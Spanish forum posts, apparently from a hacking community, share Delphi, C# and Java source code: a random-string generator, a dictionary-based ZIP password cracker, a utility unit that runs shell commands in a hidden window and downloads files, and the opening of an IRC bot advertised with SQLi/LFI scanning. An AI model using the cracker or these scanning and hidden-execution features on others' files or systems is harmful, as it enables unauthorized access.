    btnCopy3: TButton;
    txtString4: TEdit;
    btnGen4: TButton;
    btnCopy4: TButton;
    txtString5: TEdit;
    btnGen5: TButton;
    btnCopy5: TButton;
    txtString6: TEdit;
    btnGen6: TButton;
    btnCopy6: TButton;
    txtString7: TEdit;
    btnGen7: TButton;
    btnCopy7: TButton;
    txtString8: TEdit;
    btnGen8: TButton;
    btnCopy8: TButton;
    txtString9: TEdit;
    btnGen9: TButton;
    btnCopy9: TButton;
    txtString10: TEdit;
    btnGen10: TButton;
    btnCopy10: TButton;
    gbEnterLength: TGroupBox;
    gbOptions: TGroupBox;
    btnAutomatic: TButton;
    btnAbout: TButton;
    btnExit: TButton;
    txtLength: TEdit;
    udLength: TUpDown;
    automatic_string: TTimer;
    ilIconos: TImageList;
    procedure btnGen1Click(Sender: TObject);
    procedure btnGen2Click(Sender: TObject);
    procedure btnGen3Click(Sender: TObject);
    procedure btnGen4Click(Sender: TObject);
    procedure btnGen5Click(Sender: TObject);
    procedure btnGen6Click(Sender: TObject);
    procedure btnGen7Click(Sender: TObject);
    procedure btnGen8Click(Sender: TObject);
    procedure btnGen9Click(Sender: TObject);
    procedure btnGen10Click(Sender: TObject);
    procedure btnCopy1Click(Sender: TObject);
    procedure btnCopy2Click(Sender: TObject);
    procedure btnCopy3Click(Sender: TObject);
    procedure btnCopy4Click(Sender: TObject);
    procedure btnCopy5Click(Sender: TObject);
    procedure btnCopy6Click(Sender: TObject);
    procedure btnCopy7Click(Sender: TObject);
    procedure btnCopy8Click(Sender: TObject);
    procedure btnCopy9Click(Sender: TObject);
    procedure btnCopy10Click(Sender: TObject);
    procedure automatic_stringTimer(Sender: TObject);
    procedure btnAutomaticClick(Sender: TObject);
    procedure btnAboutClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function dh_generate_string(option: string; length_string: integer): string;
const
  letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z');
const
  letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z');
const
  numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9');

const
  cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?');

const
  no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?');

const
  no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '??');

const
  no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
    '_', '?', '`', '?', '_', '?');

const
  no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
    'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
    '˜', '?', '=');

const
  no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
    '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

const
  no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?');
var
  code: string;
  gen_now: string;
  i: integer;
  index: integer;
begin

  gen_now := '';

  for i := 1 to length_string do
  begin
    if (option = '1') then
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end
    else if (option = '2') then
    begin
      gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
    end
    else if (option = '3') then
    begin
      gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
    end
    else if (option = '4') then
    begin
      gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
    end
    else if (option = '5') then
    begin
      gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
    end
    else if (option = '6') then
    begin
      gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
    end
    else if (option = '7') then
    begin
      gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
    end
    else if (option = '8') then
    begin
      gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
    end
    else if (option = '9') then
    begin
      gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
    end
    else if (option = '10') then
    begin
      gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
    end
    else
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end;
  end;
  code := gen_now;

  Result := code;
end;

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

//

procedure TFormHome.btnGen1Click(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen2Click(Sender: TObject);
begin
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen3Click(Sender: TObject);
begin
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen4Click(Sender: TObject);
begin
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen5Click(Sender: TObject);
begin
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen6Click(Sender: TObject);
begin
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen7Click(Sender: TObject);
begin
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen8Click(Sender: TObject);
begin
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen9Click(Sender: TObject);
begin
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen10Click(Sender: TObject);
begin
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnCopy1Click(Sender: TObject);
begin
  if not(txtString1.Text = '') then
  begin
    txtString1.SelectAll;
    txtString1.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy2Click(Sender: TObject);
begin
  if not(txtString2.Text = '') then
  begin
    txtString2.SelectAll;
    txtString2.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy3Click(Sender: TObject);
begin
  if not(txtString3.Text = '') then
  begin
    txtString3.SelectAll;
    txtString3.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy4Click(Sender: TObject);
begin
  if not(txtString4.Text = '') then
  begin
    txtString4.SelectAll;
    txtString4.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy5Click(Sender: TObject);
begin
  if not(txtString5.Text = '') then
  begin
    txtString5.SelectAll;
    txtString5.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy6Click(Sender: TObject);
begin
  if not(txtString6.Text = '') then
  begin
    txtString6.SelectAll;
    txtString6.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy7Click(Sender: TObject);
begin
  if not(txtString7.Text = '') then
  begin
    txtString7.SelectAll;
    txtString7.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy8Click(Sender: TObject);
begin
  if not(txtString8.Text = '') then
  begin
    txtString8.SelectAll;
    txtString8.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy9Click(Sender: TObject);
begin
  if not(txtString9.Text = '') then
  begin
    txtString9.SelectAll;
    txtString9.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy10Click(Sender: TObject);
begin
  if not(txtString10.Text = '') then
  begin
    txtString10.SelectAll;
    txtString10.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnAboutClick(Sender: TObject);
begin
  FormAbout.frmAbout.Show();
end;

procedure TFormHome.btnAutomaticClick(Sender: TObject);
begin
  if (automatic_string.Enabled = False) then
  begin
    btnAutomatic.Caption := 'Disable Automatic Generate';
    automatic_string.Enabled := True;
  end
  else
  begin
    btnAutomatic.Caption := 'Enable Automatic Generate';
    automatic_string.Enabled := False;
  end;
end;

procedure TFormHome.automatic_stringTimer(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
#25
.NET (C#, VB.NET, ASP) / [C#] ZIP Cracker 0.2
28 Mayo 2016, 03:43 AM
Un simple programa en C# para buscar el password de un comprimido ZIP usando un diccionario.

El codigo :

Código (csharp) [Seleccionar]

// ZIP Cracker 0.2
// (C) Doddy Hackman 2015

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Ionic.Zip;
using System.IO;

namespace ZIP_Cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public bool check_password(string filename, string password)
        {
            try
            {
                using (ZipFile zip = ZipFile.Read(filename))
                {
                    zip.Password = password;
                    var stream = new MemoryStream();

                    foreach (ZipEntry z in zip)
                    {
                        z.Extract(stream);
                    }
                    return true;
                }
            }
            catch
            {
                return false;
            }
        }

        private void exit_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void load_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
            open.Title = "Select File";
            if (open.ShowDialog() == DialogResult.OK)
            {
                wordlist.Text = open.FileName;
            }
        }

        private void crack_Click(object sender, EventArgs e)
        {
            string zip_file = archivo_zip.Text;
            string wordlist_file = wordlist.Text;
            string password;

            console.Clear();

            if (File.Exists(zip_file) && File.Exists(wordlist_file))
            {
                console.AppendText("[+] Cracking ...\n\n");
                System.IO.StreamReader leyendo = new System.IO.StreamReader(wordlist_file);
                while ((password = leyendo.ReadLine()) != null)
                {
                    if (check_password(zip_file,password))
                    {
                        console.AppendText("[+] Password Found : " + password+"\n");
                        break;
                    }
                    else
                    {
                        console.AppendText("[-] Password : "+password+" FAIL"+"\n");
                    }
                }

                leyendo.Close();

                console.AppendText("\n[+] Finished");
            }
            else
            {
                console.AppendText("[-] File not found");
            }
        }

        private void load_zip_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "zip files (*.zip)|*.zip|All files (*.*)|*.*";
            open.Title = "Select ZIP";
            if (open.ShowDialog() == DialogResult.OK)
            {
                archivo_zip.Text = open.FileName;
            }
        }

    }
}

// The End ?


Una imagen :



Si quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca :

SourceForge.

Eso seria todo.
#26
Hola les traigo una Unit en Delphi , se llama DH_Tools y tiene las siguientes funciones :

  • Realizar una peticion GET a una pagina y capturar la respuesta
  • Realizar una peticion POST a una pagina y capturar la respuesta
  • Crear o escribir en un archivo
  • Leer un archivo
  • Ejecutar comandos y recibir la respuesta
  • HTTP FingerPrinting
  • Recibir el codigo de respuesta HTTP de una pagina
  • Limpiar repetidos en un array
  • Limpiar URL en un array a partir de la "query"
  • Split casero xD
  • Descargar archivos de internet
  • Capturar el nombre del archivo de una URL
  • URI Split
  • MD5 Encode
  • Capturar el MD5 de un archivo
  • Resolve IP

    El codigo :

    Código (delphi) [Seleccionar]

    // Unit : DH Tools
    // Version : 0.2
    // (C) Doddy Hackman 2015

    unit DH_Tools;

    interface

    uses SysUtils, Windows, WinInet, Classes, IdHTTP, Generics.Collections, URLMon,
      IdURI, IdHashMessageDigest, WinSock;

    function toma(const pagina: string): UTF8String;
    function tomar(pagina: string; postdata: AnsiString): string;
    procedure savefile(filename, texto: string);
    function read_file(const archivo: TFileName): String;
    function console(cmd: string): string;
    function http_finger(page: string): string;
    function response_code(page: string): string;
    function clean_list(const list: TList<String>): TList<String>;
    function cut_list(const list: TList<String>): TList<String>;
    function regex(text: String; deaca: String; hastaaca: String): String;
    function download_file(page, save: string): bool;
    function get_url_file(Url: string): string;
    function uri_split(Url, opcion: string): string;
    function md5_encode(text: string): string;
    function md5_file(const filename: string): string;
    function resolve_ip(const target: string): string;

    implementation

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen
            ('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
            INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;
    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function tomar(pagina: string; postdata: AnsiString): string;

    // Credits : Based on  : http://tulisanlain.blogspot.com.ar/2012/10/how-to-send-http-post-request-in-delphi.html
    // Thanks to Tulisan Lain

    const
      accept: packed array [0 .. 1] of LPWSTR = (PChar('*/*'), nil);

    var
      nave3: HINTERNET;
      nave4: HINTERNET;
      nave5: HINTERNET;
      todod: array [0 .. 1023] of AnsiChar;
      numberz: Cardinal;
      numberzzz: Cardinal;
      finalfinalfinalfinal: string;

    begin

      try

        begin

          finalfinalfinalfinal := '';
          Result := '';

          nave3 := InternetOpen
            (PChar('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'),
            INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave4 := InternetConnect(nave3, PChar(regex(pagina, '://', '/')),
            INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);

          nave5 := HttpOpenRequest(nave4, PChar('POST'), PChar(get_url_file(pagina)
            ), nil, nil, @accept, 0, 1);

          HttpSendRequest(nave5,
            PChar('Content-Type: application/x-www-form-urlencoded'),
            Length('Content-Type: application/x-www-form-urlencoded'),
            PChar(postdata), Length(postdata));

          repeat

          begin

            InternetReadFile(nave5, @todod, SizeOf(todod), numberzzz);

            if numberzzz = SizeOf(todod) then
            begin
              Result := Result + AnsiString(todod);
            end;
            if numberzzz > 0 then
              for numberz := 0 to numberzzz - 1 do
              begin
                finalfinalfinalfinal := finalfinalfinalfinal + todod[numberz];
              end;

          end;

          until numberzzz = 0;

          InternetCloseHandle(nave3);
          InternetCloseHandle(nave4);
          InternetCloseHandle(nave5);

          Result := finalfinalfinalfinal;

        end;

      except
        //
      end;
    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    function read_file(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;
    end;

    function console(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

      Result := code;

    end;

    function http_finger(page: string): string;
    var
      nave: TIdHTTP;
      resultado: string;
    begin

      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      nave.Get(page);
      resultado := '[+] ' + nave.Response.ResponseText + sLineBreak + '[+] Date : '
        + DateTimeToStr(nave.Response.Date) + sLineBreak + '[+] Server : ' +
        nave.Response.Server + sLineBreak + '[+] Last-Modified : ' +
        DateTimeToStr(nave.Response.LastModified) + sLineBreak + '[+] ETag : ' +
        nave.Response.ETag + sLineBreak + '[+] Accept-Ranges : ' +
        nave.Response.AcceptRanges + sLineBreak + '[+] Content-Length : ' +
        IntToStr(nave.Response.ContentLength) + sLineBreak + '[+] Connection : ' +
        nave.Response.Connection + sLineBreak + '[+] Content-Type : ' +
        nave.Response.ContentType;
      Result := resultado;
    end;

    function response_code(page: string): string;
    var
      nave: TIdHTTP;
      code: string;
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      try
        begin
          nave.Head(page);
          code := IntToStr(nave.ResponseCode);
        end;
      except
        begin
          code := '404';
        end;
      end;
      Result := code;
    end;

    function clean_list(const list: TList<String>): TList<String>;
    var
      lista: TList<String>;
      elemento: string;

    begin
      lista := TList<String>.Create;
      for elemento in list do
      begin
        if not lista.Contains(elemento) then
        begin
          lista.Add(elemento);
        end;
      end;
      Result := lista;
    end;

    function cut_list(const list: TList<String>): TList<String>;
    var
      lista: TList<String>;
      elemento: string;
      otralista: TStrings;
    begin
      lista := TList<String>.Create;
      for elemento in list do
      begin
        if (Pos('=', elemento) > 0) then
        begin
          otralista := TStringList.Create;
          ExtractStrings(['='], [], PChar(elemento), otralista);
          lista.Add(otralista[0] + '=');
        end;
      end;
      Result := lista;
    end;

    function download_file(page, save: string): bool;
    begin
      UrlDownloadToFile(nil, PChar(page), PChar(save), 0, nil);
      if FileExists(save) then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
    end;

    function get_url_file(Url: string): string;
    var
      URI: TIdURI;
    begin
      URI := TIdURI.Create(Url);
      Result := URI.Document;
    end;

    function uri_split(Url, opcion: string): string;
    var
      URI: TIdURI;
    begin
      URI := TIdURI.Create(Url);
      if opcion = 'host' then
      begin
        Result := URI.Host;
      end;
      if opcion = 'port' then
      begin
        Result := URI.Port;
      end;
      if opcion = 'path' then
      begin
        Result := URI.Path;
      end;
      if opcion = 'file' then
      begin
        Result := URI.Document;
      end;
      if opcion = 'query' then
      begin
        Result := URI.Params;
      end;
      if opcion = '' then
      begin
        Result := 'Error';
      end;
    end;

    function md5_encode(text: string): string;
    var
      md5: TIdHashMessageDigest5;
    begin
      md5 := TIdHashMessageDigest5.Create;
      Result := LowerCase(md5.HashStringAsHex(text));
    end;

    function md5_file(const filename: string): string;
    var
      md5: TIdHashMessageDigest5;
      stream: TFileStream;
    begin
      if (FileExists(filename)) then
      begin
        md5 := TIdHashMessageDigest5.Create;
        stream := TFileStream.Create(filename, fmOpenRead or fmShareDenyWrite);
        Result := LowerCase(md5.HashStreamAsHex(stream));
      end
      else
      begin
        Result := 'Error';
      end;
    end;

    function resolve_ip(const target: string): string;
    var
      socket: TWSAData;
      uno: PHostEnt;
      dos: TInAddr;
      ip: string;
    begin
      try
        begin
          WSAStartup($101, socket);
          uno := WinSock.GetHostByName(PAnsiChar(AnsiString(target)));
          dos := PInAddr(uno^.h_Addr_List^)^;
          ip := WinSock.inet_ntoa(dos);
          if ip = '' then
          begin
            Result := 'Error';
          end
          else
          begin
            Result := ip;
          end;
        end;
      except
        Result := 'Error';
      end;
    end;

    end.

    // The End ?


    Ejemplos de uso :

    Código (delphi) [Seleccionar]

    unit dh;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, DH_Tools,
      Generics.Collections;

    type
      TForm1 = class(TForm)
        Memo1: TMemo;
        Button1: TButton;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    var
      paginas: TList<String>;
      pagina: string;
      lista: TList<String>;
      code: string;
    begin

      // code := toma('http://localhost/login.php');
      // ShowMessage(code);

      // code := tomar('http://localhost/login.php','usuario=test&password=test&control=Login');
      // ShowMessage(code);

      // savefile('logs.txt','test');

      // code := read_file('logs.txt');
      // ShowMessage(code);

      // code := console('ver');
      // ShowMessage(code);

      // code := http_finger('http://www.petardas.com');
      // ShowMessage(code);

      // code := response_code('http://www.petardas.com');
      // ShowMessage(code);

      {
        paginas := TList<String>.Create;
        paginas.AddRange(['test1', 'test1', 'test3', 'test4', 'test5']);
        lista := clean_list(paginas);

        for pagina in lista do
        begin
        Memo1.Lines.Add('Value : ' + pagina);
        end;
      }

      {
        paginas := TList<String>.Create;
        paginas.AddRange(['http://localhost/sql1.php?id=dsadasad',
        'http://localhost/sql2.php?id=dsadasad',
        'http://localhost/sql3.php?id=dsadasad',
        'http://localhost/sql3.php?id=dsadasad']);
        lista := cut_list(clean_list(paginas));

        for pagina in lista do
        begin
        Memo1.Lines.Add('Value : ' + pagina);
        end;
      }

      {
        if (download_file('http://localhost/test.rar', 'test.rar')) then
        begin
        ShowMessage('Yeah');
        end
        else
        begin
        ShowMessage('Error');
        end;
      }

      // ShowMessage(get_url_file('http://localhost/sql.php?id=dsadsadsa'));

      // ShowMessage(uri_split('http://localhost/sql.php?id=dsadsadd','query'));

      // ShowMessage(md5_encode('123'));

      // ShowMessage(md5_file('c:/xampp/xampp-control.exe'));

      // ShowMessage(resolve_ip('www.petardas.com'));

    end;

    end.


    Eso seria todo.
#27
Java / [Java] Whois Manager 0.2
30 Abril 2016, 17:28 PM
Un simple programa en Java para hacer un Whois.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
#28
Java / [Java] ClapTrap IRC Bot 0.5
15 Abril 2016, 21:26 PM
Traduccion a Java de mi IRC Bot , tiene las siguientes opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    El codigo :

    Código (java) [Seleccionar]

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2015
    package claptrap.irc.bot;

    import java.io.IOException;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import java.io.*;
    import java.net.*;
    import java.util.Scanner;
    import java.util.logging.Level;
    import java.util.logging.Logger;

    /**
    *
    * @author Doddy
    */
    public class ClapTrapIRCBot {

        /**
         * @param args the command line arguments
         */
        public static String servidor;
        public static int puerto;
        public static String nick;
        public static String admin;

        public static String canal;
        public static int tiempo;

        public static Socket conexion;
        public static BufferedWriter escribir;
        public static BufferedReader leer;

        public static void responder(String contenido) {
            try {
                String[] textos = contenido.split("\n");
                for (String texto : textos) {
                    if (!"".equals(texto)) {
                        escribir.write("PRIVMSG " + admin + " : " + texto + "\r\n");
                        escribir.flush();
                        try {
                            Thread.sleep(tiempo * 1000);
                        } catch (InterruptedException ex) {
                            Logger.getLogger(ClapTrapIRCBot.class.getName()).log(Level.SEVERE, null, ex);
                        }
                    }
                }
            } catch (IOException e) {
                //
            }
        }

        public static void main(String[] args) {

            Scanner input = new Scanner(System.in);

            System.out.println("\n-- == ClapTrap IRC Bot 0.5 == --\n\n");
            System.out.println("[+] Hostname : ");
            String hostname_value = input.nextLine();
            System.out.println("\n[+] Port : ");
            Integer port_value = Integer.parseInt(input.nextLine());
            System.out.println("\n[+] Channel : ");
            String channel_value = input.nextLine();
            System.out.println("\n[+] Nickname Admin : ");
            String admin_value = input.nextLine();

            servidor = hostname_value;
            puerto = port_value;
            nick = "ClapTrap";
            admin = admin_value;
            canal = channel_value;
            tiempo = 3;

            try {

                conexion = new Socket(servidor, puerto);
                escribir = new BufferedWriter(
                        new OutputStreamWriter(conexion.getOutputStream()));
                leer = new BufferedReader(
                        new InputStreamReader(conexion.getInputStream()));

                escribir.write("NICK " + nick + "\r\n");
                escribir.write("USER " + nick + " 1 1 1 1\r\n");
                escribir.flush();

                String contenido = null;

                escribir.write("JOIN " + canal + "\r\n");
                escribir.flush();

                System.out.println("\n[+] Online");

                funciones funcion = new funciones();

                while ((contenido = leer.readLine()) != null) {

                    Pattern search = null;
                    Matcher regex = null;

                    search = Pattern.compile("^PING(.*)$");
                    regex = search.matcher(contenido);
                    if (regex.find()) {
                        escribir.write("PONG " + regex.group(1) + "\r\n");
                        escribir.flush();
                    }

                    search = Pattern.compile(":(.*)!(.*) PRIVMSG (.*) :(.*)");
                    regex = search.matcher(contenido);
                    if (regex.find()) {
                        String control_admin = regex.group(1);
                        String text = regex.group(4);
